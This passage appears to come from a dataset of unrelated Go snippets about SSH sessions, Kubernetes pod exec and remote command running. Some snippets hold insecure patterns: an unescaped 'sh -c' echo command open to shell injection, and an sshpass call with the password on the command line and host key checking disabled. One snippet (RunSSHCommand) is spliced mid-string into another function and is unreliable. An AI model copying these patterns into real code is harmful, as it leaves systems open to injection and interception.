Pod exec endpoint.\\n\\n\\t\\tThis command mimics CF's SSH command by opening a connection to the\\n\\t\\tKubernetes control plane which spawns a process in a Pod.\\n\\n\\t\\tThe command connects to an arbitrary Pod that matches the App's runtime\\n\\t\\tlabels. If you want a specific Pod, use the pod/ notation.\\n\\n\\t\\tNOTE: Traffic is encrypted between the CLI and the control plane, and\\n\\t\\tbetween the control plane and Pod. A malicious Kubernetes control plane\\n\\t\\tcould observe the traffic.\\n\\t\\t`,\\n\\t\\tValidArgsFunction: completion.AppCompletionFn(p),\\n\\t\\tSilenceUsage: true,\\n\\t\\tRunE: func(cmd *cobra.Command, args []string) error {\\n\\t\\t\\tctx := cmd.Context()\\n\\t\\t\\tif err := p.ValidateSpaceTargeted(); err != nil {\\n\\t\\t\\t\\treturn err\\n\\t\\t\\t}\\n\\t\\t\\tstreamExec := execstreamer.Get(ctx)\\n\\n\\t\\t\\tenableTTY := !disableTTY\\n\\t\\t\\tappName := args[0]\\n\\n\\t\\t\\tpodSelector := metav1.ListOptions{}\\n\\t\\t\\tif strings.HasPrefix(appName, podPrefix) {\\n\\t\\t\\t\\tpodName := strings.TrimPrefix(appName, podPrefix)\\n\\t\\t\\t\\tpodSelector.FieldSelector = fields.OneTermEqualSelector(\\\"metadata.name\\\", podName).String()\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tappLabels := v1alpha1.AppComponentLabels(appName, \\\"app-server\\\")\\n\\t\\t\\t\\tpodSelector.LabelSelector = labels.SelectorFromSet(appLabels).String()\\n\\t\\t\\t}\\n\\n\\t\\t\\texecOpts := corev1.PodExecOptions{\\n\\t\\t\\t\\tContainer: container,\\n\\t\\t\\t\\tCommand: command,\\n\\t\\t\\t\\tStdin: true,\\n\\t\\t\\t\\tStdout: true,\\n\\t\\t\\t\\tStderr: true,\\n\\t\\t\\t\\tTTY: enableTTY,\\n\\t\\t\\t}\\n\\n\\t\\t\\tt := term.TTY{\\n\\t\\t\\t\\tOut: cmd.OutOrStdout(),\\n\\t\\t\\t\\tIn: cmd.InOrStdin(),\\n\\t\\t\\t\\tRaw: true,\\n\\t\\t\\t}\\n\\n\\t\\t\\tsizeQueue := t.MonitorSize(t.GetSize())\\n\\n\\t\\t\\tstreamOpts := remotecommand.StreamOptions{\\n\\t\\t\\t\\tStdin: cmd.InOrStdin(),\\n\\t\\t\\t\\tStdout: cmd.OutOrStdout(),\\n\\t\\t\\t\\tStderr: cmd.ErrOrStderr(),\\n\\t\\t\\t\\tTty: enableTTY,\\n\\t\\t\\t\\tTerminalSizeQueue: sizeQueue,\\n\\t\\t\\t}\\n\\n\\t\\t\\t// Set up a TTY locally if it's enabled.\\n\\t\\t\\tif fd, isTerm := dockerterm.GetFdInfo(streamOpts.Stdin); isTerm && enableTTY {\\n\\t\\t\\t\\toriginalState, err := dockerterm.MakeRaw(fd)\\n\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\treturn err\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\tdefer dockerterm.RestoreTerminal(fd, originalState)\\n\\t\\t\\t}\\n\\n\\t\\t\\treturn streamExec.Stream(ctx, podSelector, execOpts, streamOpts)\\n\\t\\t},\\n\\t}\\n\\n\\tcmd.Flags().StringArrayVarP(\\n\\t\\t&command,\\n\\t\\t\\\"command\\\",\\n\\t\\t\\\"c\\\",\\n\\t\\t[]string{\\\"/bin/bash\\\"},\\n\\t\\t\\\"Command to run for the shell. Subsequent definitions will be used as args.\\\",\\n\\t)\\n\\n\\tcmd.Flags().StringVar(\\n\\t\\t&container,\\n\\t\\t\\\"container\\\",\\n\\t\\tv1alpha1.DefaultUserContainerName,\\n\\t\\t\\\"Container to start the command in.\\\",\\n\\t)\\n\\n\\tcmd.Flags().BoolVarP(\\n\\t\\t&disableTTY,\\n\\t\\t\\\"disable-pseudo-tty\\\",\\n\\t\\t\\\"T\\\",\\n\\t\\tfalse,\\n\\t\\t\\\"Don't use a TTY when executing.\\\",\\n\\t)\\n\\n\\treturn cmd\\n}\",\n \"func (sshClient *SSHClient) MuxShell(w io.Writer, r, e io.Reader) (chan<- string, <-chan string) {\\n\\tin := make(chan string, 5)\\n\\tout := make(chan string, 5)\\n\\tvar wg sync.WaitGroup\\n\\twg.Add(1) //for the shell itself\\n\\tgo func() {\\n\\t\\tfor cmd := range in {\\n\\t\\t\\twg.Add(1)\\n\\t\\t\\tw.Write([]byte(cmd + \\\"\\\\n\\\"))\\n\\t\\t\\twg.Wait()\\n\\t\\t}\\n\\t}()\\n\\n\\tgo func() {\\n\\t\\tvar (\\n\\t\\t\\tbuf [2 * 1024 * 1024]byte\\n\\t\\t\\tt int\\n\\t\\t)\\n\\t\\tfor {\\n\\n\\t\\t\\t//read next buf n.\\n\\t\\t\\tn, err := r.Read(buf[t:])\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tfmt.Println(\\\"ReadError:\\\" + err.Error())\\n\\t\\t\\t\\tclose(in)\\n\\t\\t\\t\\tclose(out)\\n\\t\\t\\t\\treturn\\n\\t\\t\\t}\\n\\n\\t\\t\\tt += n\\n\\t\\t\\tresult := string(buf[:t])\\n\\n\\t\\t\\tline := string(buf[t-n : t])\\n\\t\\t\\tfmt.Printf(\\\"Line:=>%v\\\\n\\\", line)\\n\\n\\t\\t\\tif strings.Contains(line, sshClient.MoreTag) {\\n\\t\\t\\t\\tif sshClient.IsMoreLine {\\n\\t\\t\\t\\t\\tt -= n\\n\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\tt -= len(sshClient.MoreTag)\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tw.Write([]byte(sshClient.MoreWant))\\n\\t\\t\\t} else if len(sshClient.ColorTag) > 0 {\\n\\n\\t\\t\\t\\t//invisible char\\n\\t\\t\\t\\tif strings.HasSuffix(sshClient.ColorTag, \\\"H\\\") {\\n\\t\\t\\t\\t\\tcolorTag := strings.Replace(sshClient.ColorTag, \\\"H\\\", \\\"\\\", -1)\\n\\t\\t\\t\\t\\ttag, err := hex.DecodeString(colorTag)\\n\\t\\t\\t\\t\\tif err == nil {\\n\\t\\t\\t\\t\\t\\t// remove colortag\\n\\t\\t\\t\\t\\t\\tvar newBuf []byte\\n\\t\\t\\t\\t\\t\\tnewBuf = RemoveStrByTagBytes([]byte(line), tag, tag, \\\"\\\\r\\\\n\\\")\\n\\n\\t\\t\\t\\t\\t\\tt -= n\\n\\t\\t\\t\\t\\t\\tcopy(buf[t:], newBuf[:])\\n\\t\\t\\t\\t\\t\\tt += len(newBuf)\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\t// remove colortag\\n\\t\\t\\t\\t\\tvar newBuf []byte\\n\\t\\t\\t\\t\\tnewBuf = RemoveStringByTag([]byte(line), sshClient.ColorTag, sshClient.ColorTag, \\\"\\\\r\\\\n\\\")\\n\\n\\t\\t\\t\\t\\tt -= n\\n\\t\\t\\t\\t\\tcopy(buf[t:], newBuf[:])\\n\\t\\t\\t\\t\\tt += len(newBuf)\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\n\\t\\t\\tif strings.Contains(result, \\\"username:\\\") ||\\n\\t\\t\\t\\tstrings.Contains(result, \\\"password:\\\") ||\\n\\t\\t\\t\\tstrings.Contains(result, sshClient.ReadOnlyPrompt) ||\\n\\t\\t\\t\\t(len(sshClient.ReadOnlyPrompt2) > 0 && strings.Contains(result, sshClient.ReadOnlyPrompt2)) ||\\n\\t\\t\\t\\tstrings.Contains(result, sshClient.SysEnablePrompt) {\\n\\n\\t\\t\\t\\tsOut := string(buf[:t])\\n\\t\\t\\t\\tfmt.Printf(\\\"DataOut:%v\\\\n\\\", sOut)\\n\\n\\t\\t\\t\\tout <- string(buf[:t])\\n\\t\\t\\t\\tt = 0\\n\\t\\t\\t\\twg.Done()\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}()\\n\\n\\tfmt.Printf(\\\"ExecuteResult:=>%v\\\\n\\\", out)\\n\\treturn in, out\\n}\",\n \"func connectChart(ctx context.Context, d *dut.DUT, hostname string) (*ssh.Conn, error) {\\n\\tvar sopt ssh.Options\\n\\tssh.ParseTarget(hostname, &sopt)\\n\\tsopt.KeyDir = d.KeyDir()\\n\\tsopt.KeyFile = d.KeyFile()\\n\\tsopt.ConnectTimeout = 10 * time.Second\\n\\treturn ssh.New(ctx, &sopt)\\n}\",\n \"func EchoSCSICommand(path, content string) error {\\n\\t//out, err := Execute(\\\"tee\\\", \\\"-a\\\", path, content)\\n\\tcmd := fmt.Sprintf(`echo '%s' > %s`, content, path)\\n\\t_, err := osBrick.Execute(\\\"sh\\\", \\\"-c\\\", cmd)\\n\\treturn err\\n}\",\n \"func Run(connectAs string, connectTo string, key string) {\\n\\ttarget := connectAs + \\\"@\\\" + connectTo\\n\\tlog.Info(\\\"Connecting as \\\" + target)\\n\\n\\texecutable := \\\"sshpass\\\"\\n\\tparams := []string{\\n\\t\\t\\\"-p\\\", key, \\\"ssh\\\", \\\"-o\\\", \\\"StrictHostKeyChecking=no\\\", \\\"-t\\\", \\\"-t\\\", target,\\n\\t}\\n\\tlog.Infof(\\\"Launching: %s %s\\\", executable, strings.Join(params, \\\" \\\"))\\n\\n\\tif log.GetLevel() == log.DebugLevel {\\n\\t\\tfor i, param := range params {\\n\\t\\t\\tif param == \\\"ssh\\\" {\\n\\t\\t\\t\\ti = i + 1\\n\\t\\t\\t\\t// Yes: this is crazy, but this inserts an element into a slice\\n\\t\\t\\t\\tparams = append(params[:i], append([]string{\\\"-v\\\"}, params[i:]...)...)\\n\\t\\t\\t\\tbreak\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\tcmd := exec.Command(executable, params...)\\n\\tcmd.Stderr = os.Stderr\\n\\tcmd.Stdout = os.Stdout\\n\\tcmd.Stdin = os.Stdin\\n\\terr := cmd.Start()\\n\\tif err != nil {\\n\\t\\tlog.Fatal(err)\\n\\t}\\n\\tcmd.Wait()\\n\\tlog.Infof(\\\"Just ran subprocess %d, exiting\\\\n\\\", cmd.Process.Pid)\\n}\",\n \"func superNetperfStream(s *helpers.SSHMeta, client string, server string, num int) *helpers.CmdRes {\\n\\treturn superNetperfStreamIPv4(s, client, server, num)\\n}\",\n \"func (s *SSH) Run(command string) (outStr string, err error) {\\n\\toutChan, doneChan, err := s.stream(command)\\n\\tif err != nil {\\n\\t\\treturn outStr, err\\n\\t}\\n\\n\\tdone := false\\n\\tfor !done {\\n\\t\\tselect {\\n\\t\\tcase <-doneChan:\\n\\t\\t\\tdone = true\\n\\t\\tcase line := <-outChan:\\n\\t\\t\\t// TODO ew.. this is nasty\\n\\t\\t\\toutStr += line + \\\"\\\\n\\\"\\n\\n\\t\\t}\\n\\t}\\n\\n\\treturn outStr, err\\n}\",\n \"func Stream(logGroup, commandID, instanceID *string) {\\n\\tlogger := log.New(os.Stdout, *instanceID+\\\" \\\", 0)\\n\\n\\tlogStreamerOut := logstreamer.NewLogstreamer(logger, \\\"stdout\\\", false)\\n\\tdefer logStreamerOut.Close()\\n\\n\\tgo streamFromCloudwatch(\\n\\t\\tlogStreamerOut,\\n\\t\\t*logGroup,\\n\\t\\tfmt.Sprintf(\\\"%s/%s/aws-runShellScript/stdout\\\", *commandID, *instanceID),\\n\\t\\tos.Stderr,\\n\\t)\\n\\n\\tlogStreamerErr := logstreamer.NewLogstreamer(logger, \\\"stderr\\\", false)\\n\\tdefer logStreamerErr.Close()\\n\\n\\tgo streamFromCloudwatch(\\n\\t\\tlogStreamerErr,\\n\\t\\t*logGroup,\\n\\t\\tfmt.Sprintf(\\\"%s/%s/aws-runShellScript/stderr\\\", *commandID, *instanceID),\\n\\t\\tos.Stdout,\\n\\t)\\n\\n}\",\n \"func ExecSSH(ctx context.Context, id Identity, cmd []string, opts plugin.ExecOptions) (plugin.ExecCommand, error) {\\n\\t// find port, username, etc from .ssh/config\\n\\tport, err := ssh_config.GetStrict(id.Host, \\\"Port\\\")\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tuser := id.User\\n\\tif user == \\\"\\\" {\\n\\t\\tif user, err = ssh_config.GetStrict(id.Host, \\\"User\\\"); err != nil {\\n\\t\\t\\treturn nil, err\\n\\t\\t}\\n\\t}\\n\\n\\tif user == \\\"\\\" {\\n\\t\\tuser = \\\"root\\\"\\n\\t}\\n\\n\\tstrictHostKeyChecking, err := ssh_config.GetStrict(id.Host, \\\"StrictHostKeyChecking\\\")\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tconnection, err := sshConnect(id.Host, port, user, strictHostKeyChecking != \\\"no\\\")\\n\\tif err != nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"Failed to connect: %s\\\", err)\\n\\t}\\n\\n\\t// Run command via session\\n\\tsession, err := connection.NewSession()\\n\\tif err != nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"Failed to create session: %s\\\", err)\\n\\t}\\n\\n\\tif opts.Tty {\\n\\t\\t// sshd only processes signal codes if a TTY has been allocated. So set one up when requested.\\n\\t\\tmodes := ssh.TerminalModes{ssh.ECHO: 0, ssh.TTY_OP_ISPEED: 14400, ssh.TTY_OP_OSPEED: 14400}\\n\\t\\tif err := session.RequestPty(\\\"xterm\\\", 40, 80, modes); err != nil {\\n\\t\\t\\treturn nil, fmt.Errorf(\\\"Unable to setup a TTY: %v\\\", err)\\n\\t\\t}\\n\\t}\\n\\n\\texecCmd := plugin.NewExecCommand(ctx)\\n\\tsession.Stdin, session.Stdout, session.Stderr = opts.Stdin, execCmd.Stdout(), execCmd.Stderr()\\n\\n\\tif opts.Elevate {\\n\\t\\tcmd = append([]string{\\\"sudo\\\"}, cmd...)\\n\\t}\\n\\n\\tcmdStr := shellquote.Join(cmd...)\\n\\tif err := session.Start(cmdStr); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\texecCmd.SetStopFunc(func() {\\n\\t\\t// Close the session on context cancellation. Copying will block until there's more to read\\n\\t\\t// from the exec output. For an action with no more output it may never return.\\n\\t\\t// If a TTY is setup and the session is still open, send Ctrl-C over before closing it.\\n\\t\\tif opts.Tty {\\n\\t\\t\\tactivity.Record(ctx, \\\"Sent SIGINT on context termination: %v\\\", session.Signal(ssh.SIGINT))\\n\\t\\t}\\n\\t\\tactivity.Record(ctx, \\\"Closing session on context termination for %v: %v\\\", id.Host, session.Close())\\n\\t})\\n\\n\\t// Wait for session to complete and stash result.\\n\\tgo func() {\\n\\t\\terr := session.Wait()\\n\\t\\tactivity.Record(ctx, \\\"Closing session for %v: %v\\\", id.Host, session.Close())\\n\\t\\texecCmd.CloseStreamsWithError(nil)\\n\\t\\tif err == nil {\\n\\t\\t\\texecCmd.SetExitCode(0)\\n\\t\\t} else if exitErr, ok := err.(*ssh.ExitError); ok {\\n\\t\\t\\texecCmd.SetExitCode(exitErr.ExitStatus())\\n\\t\\t} else {\\n\\t\\t\\texecCmd.SetExitCodeErr(err)\\n\\t\\t}\\n\\t}()\\n\\treturn execCmd, nil\\n}\",\n \"func ExecShells(sshcfg *ssh.ClientConfig, commands []HostCmd, stdout io.Writer, stderr io.Writer) error {\\n\\tvar wg sync.WaitGroup\\n\\toutBuff := make(chan string, 100)\\n\\terrBuff := make(chan string, 100)\\n\\t// fork the commands\\n\\tfor _, cmd := range commands {\\n\\t\\twg.Add(1)\\n\\t\\tgo func(cmd HostCmd) {\\n\\t\\t\\t// decrement waitgroup when done\\n\\t\\t\\tdefer wg.Done()\\n\\t\\t\\t// connect ssh\\n\\t\\t\\tcli, err := ssh.Dial(\\\"tcp4\\\", fmt.Sprintf(\\\"%s:%d\\\", cmd.Host, 22), sshcfg)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tlog.Printf(\\\"Error connecting to host %s : %s\\\", cmd.Host, err)\\n\\t\\t\\t\\treturn\\n\\t\\t\\t}\\n\\t\\t\\tsesh, err := cli.NewSession()\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tlog.Printf(\\\"Error obtaining session on host %s : %s\\\", cmd.Host, err)\\n\\t\\t\\t\\treturn\\n\\t\\t\\t}\\n\\t\\t\\t// pipe outputs\\n\\t\\t\\tgo func() {\\n\\t\\t\\t\\tseshOut, err := sesh.StdoutPipe()\\n\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\tlog.Printf(\\\"Error obtaining session stdout on host %s : %s\\\", cmd.Host, err)\\n\\t\\t\\t\\t\\treturn\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\treadLinesToChan(seshOut, \\\"\\\", outBuff)\\n\\t\\t\\t}()\\n\\t\\t\\tgo func() {\\n\\t\\t\\t\\tseshOut, err := sesh.StderrPipe()\\n\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\tlog.Printf(\\\"Error obtaining session stderr on host %s : %s\\\", cmd.Host, err)\\n\\t\\t\\t\\t\\treturn\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\treadLinesToChan(seshOut, fmt.Sprintf(\\\"%s: \\\", cmd.Host), errBuff)\\n\\t\\t\\t}()\\n\\t\\t\\t// issue command with proper env\\n\\t\\t\\ttoExec := fmt.Sprintf(\\\"if [ -f ~/.bashrc ]; then source ~/.bashrc ; fi; %s; exit;\\\", cmd.Cmd)\\n\\t\\t\\terr = sesh.Run(toExec)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tlog.Printf(\\\"Error running command %s on host %s\\\", toExec, cmd.Host)\\n\\t\\t\\t}\\n\\t\\t\\tsesh.Close()\\n\\t\\t}(cmd)\\n\\t}\\n\\toutDone := make(chan bool)\\n\\terrDone := make(chan bool)\\n\\tgo func() {\\n\\t\\tout := bufio.NewWriter(stdout)\\n\\t\\tfor line := range outBuff {\\n\\t\\t\\tout.WriteString(line)\\n\\t\\t\\tout.WriteByte('\\\\n')\\n\\t\\t}\\n\\t\\tout.Flush()\\n\\t\\toutDone <- true\\n\\t\\tclose(outDone)\\n\\t}()\\n\\tgo func() {\\n\\t\\terr := bufio.NewWriter(stderr)\\n\\t\\tfor line := range errBuff {\\n\\t\\t\\terr.WriteString(line)\\n\\t\\t\\terr.WriteByte('\\\\n')\\n\\t\\t}\\n\\t\\terr.Flush()\\n\\t\\terrDone <- true\\n\\t\\tclose(errDone)\\n\\t}()\\n\\twg.Wait()\\n\\tclose(outBuff)\\n\\tclose(errBuff)\\n\\t<-outDone\\n\\t<-errDone\\n\\treturn nil\\n}\",\n \"func (client *ExternalClient) Shell(pty bool, args ...string) error {\\n\\targs = append(client.BaseArgs, args...)\\n\\tcmd := getSSHCmd(client.BinaryPath, pty, args...)\\n\\tcmd.Stdin = os.Stdin\\n\\tcmd.Stdout = os.Stdout\\n\\tcmd.Stderr = os.Stderr\\n\\treturn cmd.Run()\\n}\",\n \"func call_ssh(cmd string, user string, hosts []string) (result string, error bool) {\\n\\tresults := make(chan string, 100)\\n\\ttimeout := time.After(5 * time.Second)\\n\\n\\tfor _, hostname := range hosts {\\n\\t\\tgo func(hostname string) {\\n\\t\\t\\tresults <- remote_runner.ExecuteCmd(cmd, user, hostname)\\n\\t\\t}(hostname)\\n\\t}\\n\\n\\tfor i := 0; i < len(hosts); i++ {\\n\\t\\tselect {\\n\\t\\tcase res := <-results:\\n\\t\\t\\t//fmt.Print(res)\\n\\t\\t\\tresult = res\\n\\t\\t\\terror = false\\n\\t\\tcase <-timeout:\\n\\t\\t\\t//fmt.Println(\\\"Timed out!\\\")\\n\\t\\t\\tresult = \\\"Time out!\\\"\\n\\t\\t\\terror = true\\n\\t\\t}\\n\\t}\\n\\treturn\\n}\",\n \"func (s *SSHOrch) ExecSSH(userserver, cmd string) string {\\n\\tclient := s.doLookup(userserver)\\n\\n\\tsession, err := client.NewSession()\\n\\tif err != nil {\\n\\t\\tlog.Fatalln(\\\"Failed to create session:\\\", err)\\n\\t}\\n\\tdefer session.Close()\\n\\t/*\\n\\t\\tstdout, err := session.StdoutPipe()\\n\\t\\tif err != nil {\\n\\t\\t\\tlog.Fatalln(\\\"Failed to pipe session stdout:\\\", err)\\n\\t\\t}\\n\\n\\t\\tstderr, err := session.StderrPipe()\\n\\t\\tif err != nil {\\n\\t\\t\\tlog.Fatalln(\\\"Failed to pipe session stderr:\\\", err)\\n\\t\\t}\\n\\t*/\\n\\n\\tbuf, err := session.CombinedOutput(cmd)\\n\\tif err != nil {\\n\\t\\tlog.Fatalln(\\\"Failed to execute cmd:\\\", err)\\n\\t}\\n\\n\\t// Network read pushed to background\\n\\t/*readExec := func(r io.Reader, ch chan []byte) {\\n\\t\\tif str, err := ioutil.ReadAll(r); err != nil {\\n\\t\\t\\tch <- str\\n\\t\\t}\\n\\t}\\n\\toutCh := make(chan []byte)\\n\\tgo readExec(stdout, outCh)\\n\\t*/\\n\\treturn string(buf)\\n}\",\n \"func SftpConnect(sshClient *ssh.Client) (*sftp.Client, error) {\\n\\tsftpClient, err := sftp.NewClient(sshClient)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn sftpClient, nil\\n}\",\n \"func (m *MinikubeRunner) SSH(cmdStr string) (string, error) {\\n\\tprofileArg := fmt.Sprintf(\\\"-p=%s\\\", m.Profile)\\n\\tpath, _ := filepath.Abs(m.BinaryPath)\\n\\n\\tcmd := exec.Command(path, profileArg, \\\"ssh\\\", cmdStr)\\n\\tLogf(\\\"SSH: %s\\\", cmdStr)\\n\\tstdout, err := cmd.CombinedOutput()\\n\\tLogf(\\\"Output: %s\\\", stdout)\\n\\tif err, ok := err.(*exec.ExitError); ok {\\n\\t\\treturn string(stdout), err\\n\\t}\\n\\treturn string(stdout), nil\\n}\",\n \"func ConnectSimpleStreams(url string, args *ConnectionArgs) (ImageServer, error) {\\n\\tlogger.Debug(\\\"Connecting to a remote simplestreams server\\\", logger.Ctx{\\\"URL\\\": url})\\n\\n\\t// Cleanup URL\\n\\turl = strings.TrimSuffix(url, \\\"/\\\")\\n\\n\\t// Use empty args if not specified\\n\\tif args == nil {\\n\\t\\targs = &ConnectionArgs{}\\n\\t}\\n\\n\\t// Initialize the client struct\\n\\tserver := ProtocolSimpleStreams{\\n\\t\\thttpHost: url,\\n\\t\\thttpUserAgent: args.UserAgent,\\n\\t\\thttpCertificate: args.TLSServerCert,\\n\\t}\\n\\n\\t// Setup the HTTP client\\n\\thttpClient, err := tlsHTTPClient(args.HTTPClient, args.TLSClientCert, args.TLSClientKey, args.TLSCA, args.TLSServerCert, args.InsecureSkipVerify, args.Proxy, args.TransportWrapper)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tserver.http = httpClient\\n\\n\\t// Get simplestreams client\\n\\tssClient := simplestreams.NewClient(url, *httpClient, args.UserAgent)\\n\\tserver.ssClient = ssClient\\n\\n\\t// Setup the cache\\n\\tif args.CachePath != \\\"\\\" {\\n\\t\\tif !shared.PathExists(args.CachePath) {\\n\\t\\t\\treturn nil, fmt.Errorf(\\\"Cache directory %q doesn't exist\\\", args.CachePath)\\n\\t\\t}\\n\\n\\t\\thashedURL := fmt.Sprintf(\\\"%x\\\", sha256.Sum256([]byte(url)))\\n\\n\\t\\tcachePath := filepath.Join(args.CachePath, hashedURL)\\n\\t\\tcacheExpiry := args.CacheExpiry\\n\\t\\tif cacheExpiry == 0 {\\n\\t\\t\\tcacheExpiry = time.Hour\\n\\t\\t}\\n\\n\\t\\tif !shared.PathExists(cachePath) {\\n\\t\\t\\terr := os.Mkdir(cachePath, 0755)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn nil, err\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\t\\tssClient.SetCache(cachePath, cacheExpiry)\\n\\t}\\n\\n\\treturn &server, nil\\n}\",\n \"func DialCommand(cmd *exec.Cmd) (*Conn, error) {\\n\\treader, err := cmd.StdoutPipe()\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\twriter, err := cmd.StdinPipe()\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\terr = cmd.Start()\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn &Conn{reader, writer, os.Getpid(), cmd.Process.Pid}, nil\\n}\",\n \"func DialSSHWithPassword(addr string, username string, password string, cb ssh.HostKeyCallback) (Client, error) {\\n\\treturn dialSSH(addr, username, ssh.Password(password), cb)\\n}\",\n \"func SetSSHCommand(command string) {\\n\\tsshCommand = command\\n}\",\n \"func RunSSHCommand(SSHHandle *ssh.Client, cmd string, sudo bool, bg bool, logger *log.Logger) (retCode int, stdout, stderr []string) {\\n\\tlogger.Println(\\\"Running cmd \\\" + cmd)\\n\\tvar stdoutBuf, stderrBuf bytes.Buffer\\n\\tsshSession, err := SSHHandle.NewSession()\\n\\tif err != nil {\\n\\t\\tlogger.Printf(\\\"SSH session creation failed! %s\\\", err)\\n\\t\\treturn -1, nil, nil\\n\\t}\\n\\tdefer sshSession.Close()\\n\\n\\tmodes := ssh.TerminalModes{\\n\\t\\tssh.ECHO: 0, // disable echoing\\n\\t\\tssh.TTY_OP_ISPEED: 14400, // input speed = 14.4kbaud\\n\\t\\tssh.TTY_OP_OSPEED: 14400, // output speed = 14.4kbaud\\n\\t}\\n\\n\\tif err = sshSession.RequestPty(\\\"xterm\\\", 80, 40, modes); err != nil {\\n\\t\\tlogger.Println(\\\"SSH session Pty creation failed!\\\")\\n\\t\\treturn -1, nil, nil\\n\\t}\\n\\n\\tsshOut, err := sshSession.StdoutPipe()\\n\\tif err != nil {\\n\\t\\tlogger.Println(\\\"SSH session StdoutPipe creation failed!\\\")\\n\\t\\treturn -1, nil, nil\\n\\t}\\n\\tsshErr, err := sshSession.StderrPipe()\\n\\tif err != nil {\\n\\t\\tlogger.Println(\\\"SSH session StderrPipe creation failed!\\\")\\n\\t\\treturn -1, nil, nil\\n\\t}\\n\\n\\tshout := io.MultiWriter(&stdoutBuf, (*LogWriter)(logger))\\n\\tssherr := io.MultiWriter(&stderrBuf, (*LogWriter)(logger))\\n\\n\\tgo func() {\\n\\t\\tio.Copy(shout, sshOut)\\n\\t}()\\n\\tgo func() {\\n\\n\\t\\tio.Copy(ssherr, sshErr)\\n\\t}()\\n\\n\\tif bg {\\n\\t\\tcmd = \\\"nohup sh -c \\\\\\\"\\\" + cmd + \\\" 2>&1 >/dev/null 0 {\\n\\t\\ts.addLookupAlias(alias, client)\\n\\t}\\n}\",\n \"func (c *subContext) openStream(ctx context.Context, epID epapi.ID, indCh chan<- indication.Indication) error {\\n\\tresponse, err := c.epClient.Get(ctx, epID)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tconn, err := c.conns.Connect(fmt.Sprintf(\\\"%s:%d\\\", response.IP, response.Port))\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tclient := termination.NewClient(conn)\\n\\tresponseCh := make(chan e2tapi.StreamResponse)\\n\\trequestCh, err := client.Stream(ctx, responseCh)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\trequestCh <- e2tapi.StreamRequest{\\n\\t\\tAppID: e2tapi.AppID(c.config.AppID),\\n\\t\\tInstanceID: e2tapi.InstanceID(c.config.InstanceID),\\n\\t\\tSubscriptionID: e2tapi.SubscriptionID(c.sub.ID),\\n\\t}\\n\\n\\tfor response := range responseCh {\\n\\t\\tindCh <- indication.Indication{\\n\\t\\t\\tEncodingType: encoding.Type(response.Header.EncodingType),\\n\\t\\t\\tPayload: indication.Payload{\\n\\t\\t\\t\\tHeader: response.IndicationHeader,\\n\\t\\t\\t\\tMessage: response.IndicationMessage,\\n\\t\\t\\t},\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (client *SdnClient) SSHIntoSdnVM() error {\\n\\treturn utils.RunCommandForeground(\\\"ssh\\\", client.sshArgs()...)\\n}\",\n \"func (c krpcClient) ChainStream(interceptors ...grpc.StreamClientInterceptor) grpc.DialOption {\\n\\treturn grpc.WithChainStreamInterceptor(interceptors...)\\n}\",\n \"func ControlStream(conn net.Conn) *Control {\\n\\tconst pongChSize = 10\\n\\n\\tctrl := &Control{\\n\\t\\tconn: conn,\\n\\t\\tpongCh: make(chan time.Time, pongChSize),\\n\\t\\tdoneCh: make(chan struct{}),\\n\\t}\\n\\tgo ctrl.serve()\\n\\n\\treturn ctrl\\n}\",\n \"func (t *TestCluster) SSH(m platform.Machine, cmd string) ([]byte, error) {\\n\\tvar stdout, stderr []byte\\n\\tvar err error\\n\\tf := func() {\\n\\t\\tstdout, stderr, err = m.SSH(cmd)\\n\\t}\\n\\n\\terrMsg := fmt.Sprintf(\\\"ssh: %s\\\", cmd)\\n\\t// If f does not before the test timeout, the RunWithExecTimeoutCheck\\n\\t// will end this goroutine and mark the test as failed\\n\\tt.H.RunWithExecTimeoutCheck(f, errMsg)\\n\\tif len(stderr) > 0 {\\n\\t\\tfor _, line := range strings.Split(string(stderr), \\\"\\\\n\\\") {\\n\\t\\t\\tt.Log(line)\\n\\t\\t}\\n\\t}\\n\\treturn stdout, err\\n}\",\n \"func InvokeCommand(ip, cmdStr string) (string, error) {\\n\\t// OpenSSH sessions terminate sporadically when a pty isn't allocated.\\n\\t// The -t flag doesn't work with OpenSSH on Windows, so we wrap the ssh call\\n\\t// within a bash session as a workaround, so that a pty is created.\\n\\tcmd := exec.Command(\\\"/bin/bash\\\")\\n\\tcmd.Stdin = strings.NewReader(fmt.Sprintf(sshTemplate, ip, cmdStr))\\n\\tout, err := cmd.CombinedOutput()\\n\\treturn strings.TrimSpace(string(out[:])), err\\n}\",\n \"func (client *Client) Run(command string, silent bool) (output string, err error) {\\n\\tkeys := 